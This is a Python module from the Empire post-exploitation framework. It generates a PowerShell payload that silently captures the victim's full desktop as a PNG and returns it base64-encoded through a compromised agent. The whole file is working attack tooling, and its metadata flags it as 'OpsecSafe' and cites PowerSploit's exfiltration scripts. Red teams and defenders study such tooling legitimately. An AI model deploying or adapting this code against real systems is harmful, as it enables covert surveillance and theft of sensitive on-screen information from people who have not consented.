Empire/lib/modules/collection/screenshot.py

80 lines
2.6 KiB
Python

from lib.common import helpers
class Module:
def __init__(self, mainMenu, params=[]):
self.info = {
'Name': 'Get-Screenshot',
'Author': ['@obscuresec', '@harmj0y'],
'Description': ('Takes a screenshot of the current desktop and '
'returns the output as a .PNG.'),
'Background' : False,
'OutputExtension' : 'png',
'NeedsAdmin' : False,
'OpsecSafe' : True,
'MinPSVersion' : '2',
'Comments': [
'https://github.com/mattifestation/PowerSploit/blob/master/Exfiltration/Get-TimedScreenshot.ps1'
]
}
# any options needed by the module, settable during runtime
self.options = {
# format:
# value_name : {description, required, default_value}
'Agent' : {
'Description' : 'Agent to run module on.',
'Required' : True,
'Value' : ''
}
}
# save off a copy of the mainMenu object to access external functionality
# like listeners/agent handlers/etc.
self.mainMenu = mainMenu
for param in params:
# parameter format is [Name, Value]
option, value = param
if option in self.options:
self.options[option]['Value'] = value
def generate(self):
script = """
function Get-Screenshot
{
Add-Type -Assembly System.Windows.Forms
$ScreenBounds = [Windows.Forms.SystemInformation]::VirtualScreen
$ScreenshotObject = New-Object Drawing.Bitmap $ScreenBounds.Width, $ScreenBounds.Height
$DrawingGraphics = [Drawing.Graphics]::FromImage($ScreenshotObject)
$DrawingGraphics.CopyFromScreen( $ScreenBounds.Location, [Drawing.Point]::Empty, $ScreenBounds.Size)
$DrawingGraphics.Dispose()
$ms = New-Object System.IO.MemoryStream
$ScreenshotObject.save($ms, [Drawing.Imaging.ImageFormat]::Png)
$ScreenshotObject.Dispose()
[convert]::ToBase64String($ms.ToArray())
}
Get-Screenshot"""
for option,values in self.options.iteritems():
if option.lower() != "agent":
if values['Value'] and values['Value'] != '':
if values['Value'].lower() == "true":
# if we're just adding a switch
script += " -" + str(option)
else:
script += " -" + str(option) + " " + str(values['Value'])
return script